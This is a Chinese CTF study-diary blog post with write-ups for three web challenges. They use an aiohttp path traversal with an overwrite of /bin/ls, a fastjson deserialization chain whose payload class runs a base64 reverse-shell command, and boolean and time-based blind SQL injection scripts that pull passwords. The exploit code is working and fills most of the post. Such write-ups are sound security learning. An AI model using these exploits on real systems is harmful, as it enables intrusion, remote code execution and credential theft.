2025-8-4

今天是第4天了,加油!

1.NEWSTARCTF2024-week5-臭皮的网站
打开环境,F12可发现一串base64编码的代码,去解码
图片
发现有aiohttp,找找漏洞
发现CVE-2024-23334,这是一个目录遍历
https://blog.csdn.net/shelter1234567/article/details/136453006
/static/../../../../../app/app.py
泄露源码

点击查看代码
import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1


adminname = "admin"


def CreteKey():
    key_bytes = secrets.token_bytes(32)
    key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
    return key_str


def authenticate(username, password):
    if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
        return True
    else:
        return False


async def middleware(app, handler):
    async def middleware_handler(request):
        try:
            response = await handler(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response
        except web.HTTPNotFound:
            response = await handler_404(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response
        except Exception:
            response = await handler_500(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response

    return middleware_handler


async def handler_404(request):
    return web.FileResponse('./template/404.html', status=404)


async def handler_500(request):
    return web.FileResponse('./template/500.html', status=500)


async def index(request):
    return web.FileResponse('./template/index.html')


async def login(request):
    data = await request.post()
    username = data['username']
    password = data['password']
    if authenticate(username, password):
        session = await get_session(request)
        session['user'] = 'admin'
        response = web.HTTPFound('/home')
        response.session = session
        return response
    else:
        return web.Response(text="账号或密码错误哦", status=200)


async def home(request):
    session = await get_session(request)
    user = session.get('user')
    if user == 'admin':
        return web.FileResponse('./template/home.html')
    else:
        return web.HTTPFound('/')


async def upload(request):
    session = await get_session(request)
    user = session.get('user')
    if user == 'admin':
        reader = await request.multipart()
        file = await reader.next()
        if file:
            filename = './static/' + file.filename
            with open(filename,'wb') as f:
                while True:
                    chunk = await file.read_chunk()
                    if not chunk:
                        break
                    f.write(chunk)
            return web.HTTPFound("/list")
        else:
            response = web.HTTPFound('/home')
            return response
    else:
        return web.HTTPFound('/')


async def ListFile(request):
    session = await get_session(request)
    user = session.get('user')
    command = "ls ./static"
    if user == 'admin':
        result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
        files_list = result.stdout
        return web.Response(text="static目录下存在文件\n"+files_list)
    else:
        return web.HTTPFound('/')


async def init_app():
    app = web.Application()
    app.router.add_static('/static/', './static', follow_symlinks=True)
    session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
    app.middlewares.append(middleware)
    app.router.add_route('GET', '/', index)
    app.router.add_route('POST', '/', login)
    app.router.add_route('GET', '/home', home)
    app.router.add_route('POST', '/upload', upload)
    app.router.add_route('GET', '/list', ListFile)
    return app


web.run_app(init_app(), host='0.0.0.0', port=80)

首先这里需要登录,账户为admin,但密码需要爆破,是一个伪随机数爆破
random.seed(uuid.getnode())
使用MAC地址作为随机数种子,所以可通过mac地址来推密码
先读取mac地址
/static/../../sys/class/net/eth0/address
然后脚本爆破得到密码

点击查看代码
import random
import string

# 将 MAC 地址转换为整数
mac_address = "86:be:61:e7:72:57"
mac_int = int(mac_address.replace(":", ""), 16)

# 确保使用的种子是 UUID 节点
# 这里使用的是 mac_int 作为 uuid.getnode() 的模拟值
random.seed(mac_int)

# 生成密码
password = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
print(f"MAC Address: {mac_address}")
print(f"MAC Integer: {mac_int}")
print(f"Generated Password: {password}")

登录后是一个任意文件上传漏洞
但这里代码会把文件上传到 static 下,然后再 /list 路由下会调用 ls,可以看到自己 /static 下的文件。
但是这里存在任意文件上传,如果我们上传一个恶意的 ls 文件,然后访问 ls,触发这个恶意文件。

我们要编译一个ls文件
先准备2.c

点击查看代码
#include <stdio.h>
#include <stdlib.h>
int main() {
    system("/usr/bin/dir / > /2.txt");
    return 0;
}

然后将2.c编译成ls
使用命令
gcc -static -o ls 2.c
抓包上传ls,并将ls的名称改成../../bin/ls,然后发包,我的虽然302,但没问题
图片
访问/static/../../2.txt
图片
得到flag的名称a6c4304ad5938eaf0efb6cc3e53dc_flag
访问url/static/../../a6c4304ad5938eaf0efb6cc3e53dc_flag
图片
拿到flag

2.[西湖论剑 2022]easy_api
学习java耗时较长,呜呜~
可以看这个师傅写的,写的很好,能复现出来
https://www.cnblogs.com/EddieMurphy-blogs/p/18175079
具体就是api的双斜杠绕过,还有fastjson1.2.48漏洞绕过
https://blog.csdn.net/uuzeray/article/details/136927719
具体贴exp,解释的话有时间补

点击查看代码
package com.xinghe;

import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;

public class Exp {
    
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
        try {
            field = clazz.getDeclaredField(fieldName);
            field.setAccessible(true);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
    
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception{
        
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(com.eddiemurphy.Evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "Evil");
        setFieldValue(templates, "_class", null);
        
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("jb", templates);
        
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        
        try{
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
            outputStream.writeObject(s); 
            System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8"));
            outputStream.close();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}
点击查看代码
package com.xinghe;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {

    public Evil() {
        super();
        try {
            Runtime.getRuntime().exec("bash -c {echo,base64反弹shell}|{base64,-d}|{bash,-i}");
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

注意base64反弹shell改成自己的
图片

3.[HZNUCTF 2023 preliminary]ezlogin
布尔盲注可以,记录一下

点击查看代码
import requests
import base64
import time

url='http://node5.anna.nssctf.cn:22500/'
res=''
for i in range(1,100):
    left=32
    right=127
    time.sleep(0.05)
    while left<right:
        mid=(left+right)//2
        #查库
        #payload="1'/**/or/**/ascii(substr((SELECT(group_concat(schema_name))from(information_schema.schemata)),{},1))>{}#".format(i,mid)
        #查表
        #payload = "1'/**/or/**/ascii(substr((SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema/**/like/**/Database())),{},1))>{}#".format(i, mid)
        #查列
        #payload = "1'/**/or/**/ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name/**/like/**/'user')),{},1))>{}#".format(i, mid)
        #查值
        payload = "1'/**/or/**/ascii(substr((Select(group_concat(Password))from(user)),{},1))>{}#".format(i, mid)
        data={'username':base64.b64encode(payload[::-1].encode()),'passwd':1}
        result=requests.post(url,data=data)
        #print(payload)
        #print(result.text)
        time.sleep(0.05)
        if 'success' in result.text:
            left=mid+1
        else:
            right=mid
    if left!=32:
        res+=chr(left)
        print(res)
    else:
        continue

也可以时间盲注

点击查看代码
import base64
import requests
import datetime

url='http://node5.anna.nssctf.cn:22500/'
res=''
for i in range(1,100):
    left=32
    right=127
    while left<right:
        mid = (left + right) // 2
        #payload="1'||if(ascii(substr((Database()),{},1))>{},sleep(1),1)#".format(i,mid)
        #payload="1'||if(ascii(substr((Select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/Database()),{},1))>{},sleep(1),1)#".format(i,mid)
        #payload="1'||if(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name/**/like/**/'user')),{},1))>{},sleep(1),1)#".format(i,mid)
        payload="1'||if(ascii(substr((Select(group_concat(Password))from(user)),{},1))>{},sleep(1),1)#".format(i,mid)
        data={'username':base64.b64encode(payload[::-1].encode()),'passwd':1}
        time1=datetime.datetime.now()
        result=requests.post(url,data=data)
        #print(payload)
        #print(result.text)
        time2=datetime.datetime.now()
        time=(time2-time1).seconds
        if time>1:
            left=mid+1
        else:
            right=mid
    if left!=32:
        res+=chr(left)
        print(res)
    else:
        break

posted @ 2025-08-20 23:56  xinghe123*  阅读(4)  评论(0)    收藏  举报